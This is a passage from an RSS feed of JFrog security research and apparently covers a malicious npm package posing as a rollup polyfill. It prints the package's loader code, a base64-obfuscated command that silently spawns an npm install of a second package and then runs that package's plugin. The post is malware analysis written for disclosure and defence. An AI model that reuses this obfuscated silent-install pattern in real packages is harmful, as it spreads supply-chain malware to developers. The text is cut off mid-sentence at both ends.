https://research.jfrog.com/ Latest security research, real-time threat posts, and vulnerability disclosures from JFrog Security Research. Tue, 07 Jul 2026 08:51:10 GMT https://validator.w3.org/feed/docs/rss2.html Gridsome Feed Plugin en https://research.jfrog.com/post/rollup-polyfill-masquerading/ https://research.jfrog.com/post/rollup-polyfill-masquerading/ Tue, 30 Jun 2026 00:00:00 GMT { const CMD = Buffer.from("bnBtIGluc3RhbGwgc3dpZnQtcGFyc2Utc3RyZWFtIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5vLWF1ZGl0IC0tbm8tZnVuZA==", "base64").toString("utf8"); const [cmd, ...args] = CMD.split(' '); const child = spawn(cmd, args, { stdio: 'ignore', shell: process.platform === 'win32', windowsHide: true }); }; ``` The base64 string in `CMD` decodes to: ```text npm install swift-parse-stream --no-save --silent --no-audit --no-fund ``` The package then decodes the module name `swift-parse-stream`, requires it, retrieves `getPlugin()`, and invokes the returned function. ```js const MODULE_NAME = Buffer.from('c3dpZnQtcGFyc2Utc3RyZWFt', 'base64').toString('utf8'); const checkPlugin = () => { try { const svgo = require(MODULE_NAME); const plugin = svgo.getPlugin(); if (plugin) { const svgData = ''; plugin(); } } catch (error) { } }; ValidateSvgModule(); ``` `rollup-runtime-polyfill-core` uses the same pattern to install `quirky-token`. This makes the infection happen when the package is imported as part of a build or configuration flow. ## JSONKeeper Loader `swift-parse-stream` and `quirky-token` present themselves as SVG sanitization utilities. Most of the file is harmless-looking SVG code: hashing content, removing `